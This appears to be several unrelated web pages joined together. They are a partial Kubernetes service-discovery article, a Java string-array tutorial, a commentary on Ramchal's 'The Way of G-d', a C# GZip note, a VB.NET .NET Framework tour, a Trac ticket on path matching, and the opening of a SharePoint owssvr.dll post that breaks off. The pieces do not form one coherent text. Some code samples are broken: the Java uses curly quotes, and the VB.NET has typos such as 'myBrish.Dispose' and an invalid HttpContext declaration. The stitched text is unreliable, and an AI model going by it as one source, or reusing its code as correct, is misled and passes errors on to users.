- The master node implements the control function in Kubernetes.
- The worker nodes run user applications.
The Kubernetes API Server is deployed on the master node to centrally manage all Kubernetes objects. All components are registered on the API server to listen to object changes, such as changes in the pod lifecycle.
The master node has three major components:
- The cloud controller manager configures a load balancer for external access.
CoreDNSlistens to changes of the backend pods of the Service on the API server. You can configure DNS resolution to directly access the virtual IP address of the Service through the service name. You can also configure DNS resolution to resolve the IP addresses in the IP address list kept by the headless Service.
- The
kube-proxyon every node listens to changes of the Service and pods, allowing you to configure the nodes and pods in the cluster or configure access through the virtual IP address based on the actual situation.
Let’s have a look at the actual access link. For example, assume Client Pod 3 in the cluster wants to access the Service. Client Pod 3 resolves the Service IP address through
CoreDNS, which returns the IP address that matches the service name. Client Pod 3 initiates a request through the Service IP address. After the request is sent to the host network, it is intercepted based on iptables or the IP virtual server (IPVS) configured by
kube-proxy. Then, the request is distributed by the load balancer to each pod at the backend. This implements the service discovery and load balancing processes.
Let’s look at how external traffic is processed, for example, when a request is sent from the Internet. A load balancer is configured after the external cloud controller manager, which is also a load balancer, listens to changes of the Service. The configured load balancer forwards an external access request to the port of a node, which then forwards the request to the cluster IP address based on the iptables configured by
kube-proxy. Then, the cluster IP address is mapped to the IP address of a backend pod, to which this request is finally sent. This implements the service discovery and load balancing processes. This is the architecture of a Kubernetes Service for service discovery.
Advanced Skills
This section explains how to implement a Kubernetes Service and how to diagnose and fix network errors of the Service.
Summary
Let’s summarize what we have learned in this article:
- The purposes of service discovery and load balancing in cloud-native scenarios
- How to implement a Kubernetes Service for service discovery and load balancing
- What components in a Kubernetes cluster are used by the Service and how these components work.
I hope that, after reading this article, you can orchestrate complex enterprise-level applications in a standard and fast manner by using Kubernetes Services. | https://alibaba-cloud.medium.com/getting-started-with-kubernetes-service-discovery-and-load-balancing-in-kubernetes-1ed32bfb378a?source=post_page-----1ed32bfb378a-------------------------------- | CC-MAIN-2021-39 | refinedweb | 2,717 | 55.24 |
In Java, Array refers to a crucial data structure used to collect and store multiple data types from primitive to user-defined. String array is the array of various objects where each of its elements is a string. Users can perform several operations on these components, like adding a component, sorting, joining, searching, splitting, etc.
Introduction To A String Array In Java
It is possible to have an array with strings in Java as its derived elements. This means that users can define ‘String Array’ as an array that holds a certain number of string values or strings. In other words, it refers to a structure that is widely used in Java for having the string value. For instance, even the number of arguments of the prime function in Java refers to a string array.
Declaring The String Array In Java
In Java, a string array can be declared in two methods, i.e. without specifying the actual size or specifying the size. Let us go through each of these processes. Below you will find the two methods of declaring the string array in Java-
String[] myarray ; //String array declaration without size
String[] myarray = new String[5];//String array declaration with size
In the first section, the string array is declared just like a general variable without specifying the size. Remember that before using this method, you have to instantiate the collection with “new”.
In the second section, the string array is instantiated and declared with ‘new’. Here the string array in Java is declared with five elements. If you directly print the declaration’s components, you may see the null values because the string array will not get initialized.
Let us go through a program that highlights string array declaration-
public class Main
{
public static void main(String[] args) {
String[] myarray; //declaration of string array without the size
String[] strArray = new String[5]; //declaration with size
//System.out.println(myarray[0]); //variable myarray might not have been initialized
//display elements of second array
System.out.print(strArray[0] + ” ” +strArray[1]+ ” ” + strArray[2]+ ” ” +
strArray[3]+ ” ” +strArray[4]);
}
}
Output
null null null null
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Initializing A String Array In Java
Once the string array is declared in Java, you can initialize it with some other values. This is because the default values of the array that are assigned to the string elements are null. Hence, soon after the declaration, you can proceed to initialize a string array. You can initialize the string array through the below-mentioned declaration.
String[] strArray = new String[3];
strArray[0] = “one”;
strArray[1] = “two”;
strArray[2] = “three”;
In the above declaration, the string array is declared at first. And in the next line, individual components are assigned along with their values. As soon as the string array is initialized, you can easily use these values in your program.
The Length And The Size Of The String Array
To get to the array’s actual size, there is a property named ‘length’ in the array. This goes the same for the string array in Java as well. The length or the size of any array provides the total number of elements present in the array. So, to get the length and the size of the array, you can use many expressions. One of them is declared below-
int len = myarray.length;
We can implement a program that can give an output to the length of a String Array.
public class Main
{
public static void main(String[] args) {
//declare and initialize a string array
String[] numArray = {“one”,”two”, “three”, “four”, “five”};
int len = numArray.length; //get the length of array
//display the length
System.out.println(“Length of numArray{\”one\”,\”two\”, \”three\”, \”four\”, \”five\”}:” + len);
}
}
Output
Length of numArray {“one”, “two”, “three”, “four”, “five”}:5
The length of an array is a significant property that is used to iterate the string array to process it.
Iterating And Printing The String Array
So far in this article, we have already discussed the declaration, initialization, and length properties of the string array, and now we will traverse through each of the string array elements and print them. You can easily iterate over the string array with the help of ‘for loop’ and ‘enhance for loop’. Mentioned below is a Java-based declaration that highlights the “enhanced for loop” that is used to iterate the string array and print its elements.
public class Main
{
public static void main(String[] args) {
//declare and initialize a string array
String[] numArray = {“one”,”two”, “three”, “four”, “five”};
System.out.println(“String Array elements displayed using for loop:”);
// for loop to iterate over the string array
for(int i=0; i<numArray.length;i++)
System.out.print(numArray[i] + ” “);
System.out.println(“\n”);
System.out.println(“String Array elements displayed using enhanced for loop:”);
//enhanced for loop to iterate over the string array
for(String val:numArray)
System.out.print(val + ” “);
}
}
Output
String Array elements displayed using for loop:
one two three four five
String Array elements displayed using “enhanced for loop”:
one two three four five
In this program, both the ‘enhanced for loop’ and ‘loop’ are utilized for traversing the string array. Remember that in the enhanced loop case, it is not required for the user to specify the code’s condition or limit. But in the loop, you have to specify the end condition and the start.
Sorting String Array
The methodology that is used to sort the string array in Java is similar to the other array sorting methods. Below you will find the implementation of this method with the array class that sorts the array strings alphabetically.
import java.util.*;
class Main {
public static void main(String[] args)
{
String[] colors = {“red”,”green”,”blue”,”white”,”orange”};
System.out.println(“Original array: “+Arrays.toString(colors));
Arrays.sort(colors);
System.out.println(“Sorted array: “+Arrays.toString(colors));
}
}
Output
Original array: [red, green, blue, white, orange]
Sorted array: [blue, green, orange, red, white]
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Conclusion
In this blog, we have seen the details of the string array in Java, and we have gone through the major concepts like string array declaration, initialization, sorting, etc. However, various other operations are related to the same idea, such as converting them to string, list, set, or array.. | https://www.upgrad.com/blog/string-array-in-java/ | CC-MAIN-2021-31 | refinedweb | 1,059 | 51.18 |
"The Way of G-d"
Part 1: "The Fundamental Principles of Reality"
Ch. 2: "The Purpose of Creation"
Paragraph 1
People often ask why G-d created a universe in which people suffer.
The assumption is that life should be good. But where would such an
assumption come from? After all, it's easy enough to posit that life should
be bad. Why do we presume otherwise? Apparently because the human heart knows
only too well that G-d is good and is stunned when things seem to contradict
that.
Ramchal (as well as the holy Ari, the Gaon of Vilna, and others) affirms our
assumption that G-d in fact is good. And he adds that He created the world in
order to "bestow good upon others".
Do people suffer? Decidedly so. But that doesn't deny G-d's *ultimate*
goodness. For His ultimate goodness touches upon things far beyond our
material experience, as we'll find.
The logic behind the assertion that G-d created the world in order to bestow
good is as follows.
We know that G-d Himself is good-- after all, He gives altruistically (what's
in it for Him anyway?) and takes nothing in return (what would He need?);
it's axiomatic that good entities do good things; and we know that acts of
goodness have to have their recipients ("benevolence objects", if you will).
It thus follows that G-d-- who is good-- created the universe in order to
"bestow good upon others"-- i.e., He created an atmosphere in which beings
could exist to receive His good.
Ramchal then continues with the point that since G-d is utterly whole, He
would logically be expected to bestow only whole (i.e., utter and complete)
goodness. And what is the "most whole" good G-d could provide us with? The
experience of Himself! Hence, we enjoy G-d's goodness most completely and
most manifestedly when we experience Him.
Such a full and utter experience of G-d Himself is referred to as d'vekus
(clinging on to G-d) in Hebrew, and it's an ongoing theme in Kabbalah,
Mussar, and Chassidic literature.
Perhaps the most cogent illustration of d'vekus is the one found at a
certain point in the Talmud, where the experience is likened to that of two
sticky dates attached to each other. The Talmud's point there seems to be
that what d'vekus is, is an instance of two separate entities "adhesing" on
to each other for a time and becoming one for all intents and purposes
(since it's hard to determine just where one date ends, and the other
begins), while
remaining two separate entities in truth.
The truth be known, Ramchal speaks elsewhere about what could only be
referred to as "ultimate d'vekus", in the End of Days. But that's not the
subject at hand. His point here is that we can in fact attach ourselves on to
G-d in varying degrees *in this world*. And that while the ability to do that
varies from person to person, each realization of it brings us closer to Him
and allows us to enjoy His true goodness (i.e., Himself).
His underlying point here then seems to be that while we do indeed suffer and
life does undoubtedly seem to be bad at times, we can nonetheless bask in
G-d's actual goodness to degrees on a spiritual, transcendental level by
adhesing on to Him (and thus transcending material pain and suffering) as
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I recently needed to un-gzip (gUnzip?) a large amount of files programatically and eventually ended up with the class/library posted below.
With the GZipStream (.NET / dot net), I had seen a lot of examples compressing and decompressing strings in memory, but I needed the straight-forward, simple method of just compressing and inflating/decompressing a file (in the simplest manner).
I made the buffer size modifiable to allow you to customize the amount of RAM needed for the process.
In all of this, I discovered the proper way to name a .gz file is the name of the contents (1 file) plus the extension .gz.
Example: manish.txt becomes manish.txt.gz.
This helps tools like WinZip decipher the contents as that .gz name is used when inflating/decompressing.
With this class, you can compress and decompress with or without the output filenames.
I originally posted the C# (csharp) code here, but it was a bit sloppy, so I zipped the project (with WinZip (ha ha)).
Download the project here.
using System.IO.Compression;
Here is a tester for the library:
Here is a tester for the library:
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Visual Basic .NET 2003: A .NET Framework Tour
Bill Sempf
July 2005
Summary: Bill Sempf takes you on a guided tour of the .NET Framework via Visual Basic .NET 2003 and shows how to do numerous common tasks. (13 printed pages)
Contents
Introduction
How do I work with a string?
Where can I find the user's name and secure my code?
How can I get to a database?
What do I do to keep an action from blocking the user interface?
Where do I store INI file data?
What debugging tools are available?
How do I send e-mail?
How do I get a Web page?
What allows me to draw on the screen?
Why can't I use the DataGrid/ComboBox? (The Windows versus Web conundrum)
Conclusion
Introduction
Visual Basic is not dead.
I say this because the concepts of Visual Basic are still very much alive and kicking in Visual Basic .NET. When conceived, the idea was to make the BASIC language conceptually current by making it function within a visual development environment. Thus, the two key pieces were the BASIC language, and the visual environment.
You will find both of these in Visual Basic .NET. Please don't let anyone tell you otherwise.
You may be asking what has changed to generate discussions over Visual Basic .NET versus Visual Basic 6. The answer is simple—the library has changed. For five years, Visual Basic programmers had the Visual Basic Runtime, a library of Win32 functions. That has been replaced with the .NET Framework—a similar library with a different feel.
The biggest difference is a significant improvement: the libraries have been reorganized in a way that makes a lot more sense. However, the problem is that you can't find something right away. Finding simple things, like file copying and Web access, require you to spend time with the documentation.
I feel your pain. I learned Visual Basic .NET in two weeks in 2000, while writing for the Wrox book, Professional Visual Basic .NET. "How different can it be?" I thought. Well, as many of you know, the answer is, "Quite different," largely because of the different library.
What I would like to do is take a few minutes of your time and go over a few common tasks that you might do in your applications, and give you pointers to the Visual Basic .NET code to get you there. Feel free to click to the topic that interests you – this is as much a reference article as it is a reading article!
How do I work with a string?
A String variable is a type in Visual Basic that can be used to make a space to store text, digits, and punctuation. The .NET Framework supports strings, or course, but it might be a little different than you are used to. You still declare a variable as a string the same way:
There are a few differences in .NET. Because the .NET Framework manages strings, they are objects—both the type itself (the word String itself) and the variable that is defined as a string. Because of this, strings know what can and can't be done to them.
Give yourself a cheap thrill. In Visual Studio (any version), open a new Windows Forms project, which is similar to the Visual Basic project you have always known. Double-click on the default form to open Code View. Type the line of code above into the Form1_Load event and press Enter. On the next line, type myString and press the period key.
Figure 1. Creating a Windows Forms project in Visual Studio .NET
All of the items that appear in Visual Studio .NET in Figure 1 replace the myriad of functions that we had to memorize in previous versions in order to manipulate strings. To give yourself even a cheaper thrill, set up a static string, like myString = "this string" into Code View and press the period key. All the same items show up, because static strings are objects just as defined string variables are.
There are a bunch of great things now built into a string. These methods replace the functions like Trim and InStr.
- To trim characters, like LTrim and RTrim, use the Trim function.
- To get characters out of a string, like the Left, Right and Mid functions, use Substring.
- To search for the instance of a string within the selected string like InStr, use IndexOf or IndexOfAny.
- UCase and LCase have been replaced by the ToLower and ToUpper functions.
Beyond the old functionality provided by the Visual Basic 6 string functions, there is a bit more cool functionality provided by the String class. Yes, that's right—I said Class. The String has what are called Shared Methods that are available without declaring a new string at all. Type String and hit the period key to see what I mean.
By far the most useful of the String functions is the Format function, which allows you to concatenate together variables in exactly the format you want. Take a gander at this little piece of code to see what I mean.
Strings aren't the only types that are objects. Integers, Dates—all types are objects in the .NET Framework. Take the time to look through the functions available; they are different based on the needs of the type. Dates have an AddMinute function, and Integers have a MinValue and MaxValue property, for instance. There are other Shared methods and properties available to use as well.
Where can I find the user's name and secure my code?
Security in the .NET Framework is pretty cool.
Remember that Visual Basic 6 was developed during an era when computer hacking was for "uber geeks" only. While security had its place, only the rare component or application had to have truly strong security.
Today, when just a list of names and addresses must be tightly secured, the average program has to be much more stable in terms of security. The .NET Framework can really help you out there.
There is a whole set of tools in the System.Security namespace to help, and one of them in the Principal.WindowsIdentity class. This class maintains a typed object that can show you the name and authentication type of the current user, as well as a set of yes/no questions, such as whether the user is authenticated or anonymous (useful for Web applications), a system account, or a guest.
In Visual Studio, open a new Visual Basic .NET Windows forms project to try this out. Drag a Label control onto the form, and then double-click the form to launch the code view. Add the following code to the Form1_Load event handler.
Public Class Form1 Inherits System.Windows.Forms.Form Private Sub Form1_Load(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles MyBase.Load Dim myIdentity As System.Security.Principal.WindowsIdentity myIdentity = System.Security.Principal.WindowsIdentity.GetCurrent() Label1.Text = myIdentity.Name End Sub End Class
Run the application, and your username will appear in the label. Pretty cool, huh? Try it with some of the other properties of the myIdentity object you just created. While you are at it, note that you can use the Imports keyword to shorten the reference to the WindowsIdentity type. Imports tells Visual Basic that you will be using the named namespaces specifically in this file. When you mention a class, like Principal, the compiler will assume that you are speaking of the Principal class in System.Security.
Imports System.Security Imports System.Security.Principal.WindowsIdentity Public Class Form1 Inherits System.Windows.Forms.Form Private Sub Form1_Load(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles MyBase.Load Dim myIdentity As Principal.WindowsIdentity myIdentity = GetCurrent() Label1.Text = myIdentity.Name End Sub End Class
Securing your code is another matter, of course. Generally speaking, I would advise making security the most important single requirement of any system you write. It is one of those things that bring you nothing if it is right, but it is a 100% disaster if it is wrong—it is the Zero Sum game of programming. Pay attention to security.
To get more information on security and securing your code, jump to your favorite bookstore online and get Securing Your Code, Volume 2 as soon as you can. It is a great read and will help you in this department quite a lot.
How can I get to a database?
Data access is one of the more significant changes in the .NET Framework, compared to the Windows DNA model in Visual Basic 6. As Microsoft developers, we are used to a litany of acronyms for data access methodology—DAO, RDO, RDS, ADO, etc. The change from ADO to ADO.NET seems almost insignificant.
Nothing could be further from the case. In moving from ADO to ADO.NET, Microsoft has changed the very cornerstone of data access in the Microsoft Mythos by making it disconnected. When you page through a recordset in Visual Basic 6, you are looking at live data. When you look at a DataSet in ADO.NET, you are looking at a copy.
For many of us, this hardly matters. In fact, I had spent quite a long time trying to make recordsets work in ASP pages on the Web, an intrinsically disconnected medium. For those of us working with the Web, this change is actually quite beneficial. For all of us, though, the change is significant, and can be confusing.
The secret codes for data access in the .NET Framework are kept in the System.Data class. As a Visual Basic developer, you will spend the majority of time in the System.Data.SqlClient and System.Data.Odbc namespaces, with one notable exception. The DataSet—Microsoft's replacement for the RecordSet—is in the System.Data class, and is database-independent. If you want to put data in a DataSet, you have to use a database-specific DataConnection and DataAdapter. The connection connects your code to the database, and the adapter connects your code to the DataSet. Let's look at an example.
'Set up the keys to data access, the DataSet, Connection and Adapter. Dim myDataSet As System.Data.DataSet Dim myConnection As System.Data.SqlClient.SqlConnection Dim myAdapter As System.Data.SqlClient.SqlDataAdapter 'The connection string should point to your local SQL Server Dim connString As String = "Data Source=Gryphon;" & _ "Initial Catalog=Pubs;" & _ "Integrated Security=SSPI" 'Open the connection myConnection = New SqlConnection(connString) 'The Adapter has the command in it. myAdapter = New SqlDataAdapter("select * from Titles", myConnection) 'Fill the dataset with data using the adapter. myDataSet = New DataSet myAdapter.Fill(myDataSet, "Titles") 'Loop through the rows and write to the Output window. Dim row As System.Data.DataRow For Each row In myDataSet.Tables(0).Rows Debug.Write(row(1).ToString) Next
If you think it seems that the DataSet looks a lot like a RecordSet, the SqlConnection is a Connection and the SqlDataAdapter is a Commend, you wouldn't be far off. Don't be fooled by appearances, the DataSet is very, very different from the RecordSet in several ways. The usage is similar enough that you can think of it that way, but don't confuse the functions.
- DataSets are disconnected. You are looking at a copy of the data. To see the latest data, you must re-fill the dataset. To update the data, you must define and use the Update method.
- DataSets are hierarchal. Under the covers, they are XML files. They are designed to hold many related tables, thus the reference to myDataSet.Tables(0) in the example above.
- DataSets are an in memory representation of data, and as such take up a fair amount of resources. If you want just the equivalent of a forward-only, read-only recordset, look into a DataReader. They are great for filling drop-down lists.
Speaking of XML, I would be remiss in not mentioning the System.XML namespace. It works well with DataSets because you can read a DataSet directly in from an XML file, and vice versa. If you have a large amount of cross-platform type data work, look into using XML. You can easily get an XmlNode from an XML Document using XPath, and then use the ReadXml method of a DataSet. The ReadXml method reads the data from the XML file and fills the DataSet.
What do I do to keep an action from blocking the user interface?
Threading is one of those things that you don't want to think about that often in a simple application, but you always have that one user that doesn't want to wait while an image is generating in the background. The System.Threading namespace allows you to quickly and easily spawn a separate process to generate that image or run that complex query or search through that directory, and still allow the user to do other things inside the same application.
Threading splits your application into two or more logical 'apartments', from the Framework's perspective, and tells the processor to treat the separate actions like separate applications for time sharing. It is an incredibly complex concept that I don't even want to think about. The .NET Framework makes Managed Threading, as it is called, simple so that we don't have to.
Say for instance that you do have a method that generates a complex image, called MakeComplexImage. First, in your application, import System.Threading. Then to send that method to a new thread, and prevent blocking the user interface, the code is this simple:
Believe it or not, that's it. When the MakeComplexImage method completes, you will have the output you asked for and there won't be any interruption to the user experience. If you need to pause that execution for whatever reason, check into myThread.Sleep.
There are best practices when it comes to threading. It is easy to write a bad application using System.Threading. Read the documentation carefully, and follow the advice within. Remember that you are giving a lot of extra work to the operating system when you deal with threading. It is as significant as working with the Registry. Take your time, and do it right.
Where do I store INI file data?
While you can use old-fashioned INI files with .NET, and use the System.IO namespace to parse the lists within, I recommend that you drop that model in favor of the new Config file model that Microsoft is recommending. Config files are XML-based files that are in every project anyway, so learning how to use them to your benefit is just a good idea in general.
There are two basic kinds of config files: Windows and Web. Web config files are called Web.Config and are kept at the base of the application root. IIS knows not to send them to the user even if asked for, so they are secure. Windows Configs are slightly different. They are called App.Config, but are renamed on compile to the <projectname>.config and stored in the Bin directory.
Config files have a basic root element called <configuration> and from there are very flexible. In the Web world, there are a number of elements that are in the default file. Windows Config files come without anything in them.
To add to the Config file, you can use the appSettings tag, like I did in this recent XML editor that I wrote:
To get to this information from the code, use the System.Configuration namespace. The ConfugurationSettings class has a Shared collection called AppSettings that knows about all key/value pairs in the appSettings node. I often set up a MustInherit base class for all of the classes that need to know the data in the Config file.
What debugging tools are available?
There is more to debugging in .NET than the F5 key and breakpoints. The Debug class in the System.Diagnostics namespace is very powerful. When you use it, you will be communicating through the Output window mostly, which only shows up when you are in Debug mode—proving that F5 is still an intrinsic part of this process.
Let me just go over a bunch of the methods of the very useful Debug class. Remember, these statements will only run when you are in the Debug mode, so they are fairly safe to leave lying around in most software.
- Write—The basic method. Writes a value to the Output window
- WriteIf—Only writes values if the Boolean you specify is false
- Assert—Dumps the call stack if the condition you specify is false
- Fail—Throws a specified error message. Very helpful in testing exceptions.
- Listeners—A collection of the objects listening to the Debug output.
You'll notice that I often use Debug.Write when outputting the values of sample code. It is very useful in that regard, much like a Response.Write in the bad old ASP days, except the user can't see them.
Speaking of ASP.NET, I would be remiss in not mentioning the Trace functionality built in there. To enable the best trace you have ever seen on a Web page, just add the Trace=True attribute and value pair to the Page directive. You don't even have to recompile, so you can do it to a production system if you have to.
This will dump a ton of useful information right to the bottom of your Web page, like form and request variables, the order and execution time of each part of the ASP.NET lifecycle, and any custom trace variables you have set.
How do I send e-mail?
In order to send an e-mail message in Windows DNA, you needed to resort to trickery. I remember using SQL Server to do it, writing little scripts that hacked my mail server, even setting up Linux boxes just basically to handle e-mail.
Those days are over in .NET. In the 1.0 and 1.1 versions of the Framework, mail is handled by the System.Web.Mail namespace. Admittedly, this doesn't make a lot of sense, since Mail has almost nothing to do with the Web, and in 2.0 the Mail namespaces are moving to the System.Net namespace.
A good strategy for setting up any project that might have a need to send email is to add an e-mail helper function. With this Send Mail method, you can expand your communication needs as far as the project requirements go.
Public Function SendMail(ByVal recipient As String, ByVal sender As String, _ ByVal subject As String, ByVal body As String) As Boolean Dim Result As Boolean Dim CurrentMessage As New System.Web.Mail.MailMessage Try CurrentMessage.To = recipient CurrentMessage.From = sender CurrentMessage.Subject = subject CurrentMessage.Body = body SmtpMail.SmtpServer = MailServer SmtpMail.Send(CurrentMessage) Result = True Catch ex As Exception Result = False End Try Return Result End Function
There are two keys to this function:
- The MailMessage object, which has a collection of properties that must be set to be viable, and
- The SmtpMail object, which has a Shared Send method that accepts the MailMessage object that gets constructed.
Generally, these properties for the MailMessage include:
- Attachments—A collection of attachments that are sent with the e-mail
- Bcc—The Blind Carbon Copy list, semicolon delimited
- Body—Required. The content of the message
- BodyEncoding—Sets if the message is ASCII or Unicode
- BodyFormat—Sets of the message is HTML or text
- Cc—The Carbon Copy list, semicolon delimited
- From—Required. The e-mail address sending the message
- Headers—Has a collection of custom SMTP headers, like X-Sender and such
- Priority—Used to set High Normal or Low priority
- Subject—The subject of the message
- To—Required. A semicolon delimited list of recipients of the message
You can set the mail server address using the SmtpServer property. Keep in mind that mail servers are persnickety, and the From address often has to be a current account on that server. Sometimes, you even need to authenticate on the server in order to send, which is tricky and requires special configuration on the server side.
How do I get a Web page?
The Internet Explorer DLLs were the common way to get to the Web in Visual Basic 6. With a library called ".NET", you would guess that there would be a better way to get a Web page in the Framework, and you would be right. The class you need is in the System.Net namespace, and it is called WebClient. (Remember, this means you need the line 'Imports System.Net' at the top of your code behind.)
The WebClient class is exactly what it sounds like. It provides read and write capability to a URL, passed in on the method signatures. Additionally, you can add in QueryString and Form variables (cin for you old C hackers) to URLs so that you can get to output provided only by filling out a form. In short, you can access the Web in just a few lines of code, and get a byte array back with the whole content of a page.
The best way to explain is with an example. Put this in the OnClick event handler of a Button and set a breakpoint on the last line.
'Start with a new WebClient object Dim myWebClient As New WebClient 'Set up the URL Dim myURL As String = "" 'The method will return a ByteArray, so we need that Dim myHtml() As Byte 'This will hold the final string Dim myHtmlString As String 'Get the Byte Array to start. 'This is where the network activity will happen under the covers. myHtml = myWebClient.DownloadData(myURL) 'Convert the Byte Array to a string myHtmlString = Encoding.ASCII.GetString(myHtml) 'That's it! Show it in the Debug window Debug.Write(myHtmlString)
Really, there is only one important line of code here, the DownloadData method. It accepts the URL and returns the byte array. We use the System.Text.Encoding.ASCII object to convert the array to a string the 'easy way'.
Showing a Web page on the screen in a Windows Forms application is a little trickier. Actually, unless you buy a third-party component, you are stuck with the Internet Explorer ActiveX control like the bad old days, though I admit it works pretty well in the .NET world.
To get that control, right-click on the toolbox and select Add/Remove Items. Click on COM Components and find the Microsoft Web Browser (shdocvw.dll). Add this to the toolbox, and treat it like any other control. (There is a Web browser control in the .NET Framework 2.0, so this will get better.)
What allows me to draw on the screen?
Drawing in the .NET Framework is very much more sophisticated than drawing in Visual Basic 6. The System.Drawing namespace has all of the tools that you need to get started. As in most platforms, graphics programming with the .NET Framework consists of drawing polygons, filling them with color, and labeling them with text—all on a canvas of some sort. Unsurprisingly, this leaves us with four objects that you will find are the core code you will write: Graphics, Pens, Brushes,and Text.
- Graphics—Generally speaking, the Graphics class creates an object that is your palette. It is the canvas.
- Pens—These are used to draw lines as the outline of a polygon, or just as old-fashioned straight lines.
- Brushes—To fill the polygon that you drew with your pen, or your Graphics object, you use a Brush.
- Text—As one would expect, Text is all about fonts and placement of letters.
Don't get carried away with the System.Drawing namespace. Almost everything you will need to do in a Windows or Web form is handled through controls. One huge exception is games, where you will rarely find a BFG control that you can slip into Level 2. Another example is handling images on a Web site.
Images on a Web site are usually implemented through an Image tag, but sometimes you need to render them on the fly. A few examples might be a site where you have to generate thumbnails on the fly (like a real estate site) or render text from a database query on top of an image (like a test result, for instance). This strategy requires a slightly different object from the Graphics object, the bitmap.
One great example of this is a site that I worked on where images of seeds are scanned and then the results of the scan are printed on the image as they are requested. To do this, I used the Bitmap class to get a copy of the original image, and then turned it into a Graphics object. I then used a Font object and a Brush object to paint the text on the Graphics object. Finally I used the Save method of the original Bitmap object to make a jpeg that could be viewed from the site, and return the image name as the result of the function call. The code looked something like this:
Dim myHttpContext As System.Web.HttpContext.Current Dim myResults As String Dim myBitmap As New Bitmap("c:\images\labimage.jpg") Dim myPalette As Graphics = Graphics.FromImage(myBitmap) Dim myFont As New Font("Arial", 32) Dim myBrush As New SolidBrush(Color.White) myPalette.DrawString("results: " + myResults, myFont, myBrush, 10, 10) myHttpContext.Response.ContentType = "image/gif" myBitmap.Save(myHttpContext.Response.OutputStream, System.Drawing.Imaging.ImageFormat.Jpeg) myHttpContext.Response.Flush() myBitmap.Dispose() myPalette.Dispose() myFont.Dispose() myBrish.Dispose
All of this went in the Page_Load event handler of an ASPX page that was used as the SRC attribute of an image, and the page accepted the test id number. It worked very well, and is a great example of how to quickly and easily use System.Graphics to work with Web images. There are other ways, too, including some slick Web service tricks. Do a little research on your options before you start coding, and you'll find some great tricks out there.
Why can't I use the DataGrid/ComboBox? (The Windows versus Web conundrum)
Since Visual Studio 1.0 in 1997, Microsoft has been trying to blur the boundaries between development for Windows and the Web. With Visual Studio .NET, Microsoft has almost succeeded. Development for Windows—a familiar model—has been overlaid onto the model for the Web such that many of the familiar actions are in both places, but always keep in mind that the two models are very different.
As far as the Framework is concerned, the difference is defined by the namespaces—System.Windows.Forms for Windows Forms implementations, and System.Web.UI for Web Forms. Each of these namespaces has a distinct collection of controls that might be named similarly, but that have very different functionality at times.
The DataGrid is a very good example. In ASP.NET, using the System.Web.UI.WebControls.DataGrid, you can sort, or maintain view and edit modes, or tons of other things that we have all been doing in HTML for years. Finally, there is a control that supports the stuff we have been doing by hand.
Then there is Windows Forms. When we change to the System.Windows.Forms.DataGrid, there is suddenly less functionality. Where are the AutoFormat controls? Why can't I edit the column templates?
The answer is in the significant differences between Windows and Web. Web controls render HTML, which is a standard, and we can manipulate that end code as needed. Windows controls render binary Windows proprietary stuff that is harder to change at the developer level.
Another similar example is that of the ComboBox. Many people used to Windows Forms are always looking for the perfect ComboBox for the Web. There isn't one in the standard Web control library, because the Web is architected differently. In HTML parlance, the ComboBox is a combination between a textbox and a Select tag. There isn't any such combination in HTML, so we have to fake it by hiding one and showing another, or resorting to complex and fragile JavaScript and DHTML. It's a constraint of the platform, just like the DataGrid.
Conclusion
This task-based introduction to the .NET Framework was not designed to be a comprehensive look at what can be done. It is just a list of the most common things I have been asked over the years since the launch of .NET, and the answers I usually give. I hope that the answers you seek are here. If not, feel free to shoot me an e-mail, or post to my blog.
I think you will agree, though, that after reading this you will find Visual Basic to be alive and kicking—albeit with a more powerful engine. The language is practically the same, it's just the libraries that are different. Toss your old Visual Basic 6 components, and try and embrace the new functionality in the System.Data, System.IO and System.Net namespaces. Dig into the controls in System.Web and System.Windows. In short, play around. There is a lot to learn in the .NET Framework, and version 2.0 is right around the corner. | https://msdn.microsoft.com/en-us/library/aa289177(v=vs.71).aspx | CC-MAIN-2015-27 | refinedweb | 4,903 | 66.74 |
Opened 4 years ago
Closed 3 years ago
Last modified 3 years ago
#10226 closed defect (fixed)
Uses wrongly `re.match` for `[bookmark] paths` settings
Description
It seems [bookmark] paths supports shell wildcards, not regular expression.
bookmarkable_paths = ListOption('bookmark', 'paths', '/*', doc='List of URL paths to allow bookmarking on. Globs are supported.')
But the plugin uses re.match for each value with no changes.
def post_process_request(self, req, template, data, content_type): # Show bookmarks context menu except when on the bookmark page if 'BOOKMARK_VIEW' in req.perm and not self.match_request(req): for path in self.bookmarkable_paths: if re.match(path, req.path_info): self.render_bookmarker(req) break return template, data, content_type
I think it should fix to be able to use shell wildcards.
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comment:1 Changed 4 years ago by rjollos
comment:2 Changed 3 years ago by rjollos
- Cc rjollos hasienda added
Same issue was noted with the VotePlugin in comment:5:ticket:10942.
comment:3 Changed 3 years ago by rjollos
It looks like fnmatch will accomplish what we want. How does the following patch look?
comment:4 follow-up: ↓ 5 Changed 3 years ago by rjollos
On second look, we might want to use fnmatchcase.
comment:5 in reply to: ↑ 4 Changed 3 years ago by jun66j5
On second look, we might want to use fnmatchcase.
Looks good! Yes, we should use fnmatchcase because the URLs in Trac is case-sensitive. Please commit it!
comment:6 Changed 3 years ago by rjollos
- Resolution set to fixed
- Status changed from new to closed
(In [13011]) Fixes #10226:
BookmarkPlugin: Perform Unix shell-style wildcard matching (globs), as is documented, for the paths option. Previously, a regular expression was used to match paths.
comment:7 Changed 3 years ago by rjollos
(In [13012]) Fixes #11037, Refs #10226:
VotePlugin: Perform Unix shell-style wildcard matching (globs), as is documented, for the paths option. Previously, a regular expression was used to match paths.
Yeah, that makes sense. +1 from me. | https://trac-hacks.org/ticket/10226 | CC-MAIN-2016-30 | refinedweb | 332 | 67.04 |
(This is part 1 of a 2-part post. Part 2 can be found here)
I've recently worked on some projects for a company heavily using Microsoft's Sharepoint platform. I've been trying to move away from it as much as possible, but for a few of my projects it has been unavoidable. On those projects I needed to work dynamically with data captured in Sharepoint. After a lot of trial and error, I discovered the
owssvr.dll API interface.
The
owssvr.dll interface lives in the
_vti_bin directory under the Sharepoint site you are working with. Using GET requests, you can access XML data in SOAP form containing the information from lists and surveys in Sharepoint. More information about the API can be found here. UPDATE: On part 2 of this post, Eduard Ralph pointed out that there is a Webservice API offered by WSS 3.0 and MOSS. Information on this can be found here. For this post, I was still working with SharePoint 1.1.
I wasn't able to find a way to get jQuery to recognize namespaced XML elements, so instead I simply walked the DOM tree to get to the nodes I needed. This is taking the easy way out of the problem and it won't serve every purpose, so If someone knows of a better way to do this please comment below and let me know.
Random Image for a Sharepoint Picture Library
